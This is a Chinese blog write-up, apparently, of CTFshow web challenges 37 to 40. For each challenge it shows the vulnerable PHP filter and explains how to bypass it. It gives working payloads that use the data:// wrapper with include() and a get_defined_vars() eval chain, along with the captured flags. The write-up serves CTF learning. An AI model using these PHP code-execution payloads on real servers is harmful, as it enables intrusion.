CTFshow web37 38 39 40

16 篇文章 0 订阅
10 篇文章 2 订阅

目录

web37

代码分析:

payload:

​编辑flag:

web38

代码分析:

payload:

​编辑flag:

web39

代码分析:

payload:

​编辑flag:

web40

代码分析:

payload:

flag:


web37

代码分析:

if(!preg_match("/flag/i", $c)){
        include($c);
        echo $flag;
    
    }

与前几题不同,前几题传入的字符串被eval当作命令执行了,而这道题是include,也就是说应该传入一个文件名,在这里被包含

但是过滤了flag,传入flag.php是行不通的,这时候可以使用data://text/plain,<?system('ls');?>

让网页直接包含我们写入的代码,从而执行恶意命令

payload:

/?c=data://text/plain,<?=system('tac fl""ag.php');?>

 注意flag需要绕过,可以使用引号绕过

flag:

ctfshow{84e1eca1-f50c-468a-a62d-15e527fa734f} 

web38

代码分析:

 if(!preg_match("/flag|php|file/i", $c))

这一题比上一题多过滤了个php,可以使用通配符绕过

payload:

/?c=data://text/plain,<?=system('tac fl*');?>

 注意flag需要绕过,可以使用引号绕过

flag:

ctfshow{f311f8d8-07a3-473c-bccb-05be9affc617}

web39

代码分析:

if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag/i", $c)){
        include($c.".php");
    }

 看起来很唬人,我觉得是不是传个flag,其实根本不用管这个.".php",多出来的部分会自动识别为字符串,所以还是跟37一样

payload:

/?c=data://text/plain,<?=system('tac fl""ag.php');?>

 注意flag需要绕过,可以使用引号绕过

flag:

ctfshow{78e78020-1ad2-446c-8a13-0cdf5e916bf4}

web40

代码分析:

 if(!preg_match("/[0-9]|\~|\`|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\-|\=|\+|\{|\[|\]|\}|\:|\'|\"|\,|\<|\.|\>|\/|\?|\\\\/i", $c)){
        eval($c);

 这道题又回到eval了,但是过滤的内容有点多,翻阅了大佬的题解,发现这里面的括号是中文括号,所以可以使用套娃

套娃在前面的文章中有详细的操作流程与解释

传送门

payload:

http://7e7c4611-b901-44da-8f62-4a6c54c36e42.challenge.ctf.show/?c=eval(array_pop(next(get_defined_vars())));

post传一个参数:Chen=system('tac flag.php');

flag:

ctfshow{383cbb4b-1fbf-4209-9efb-b64720e53766}

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

白帽Chen_D

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值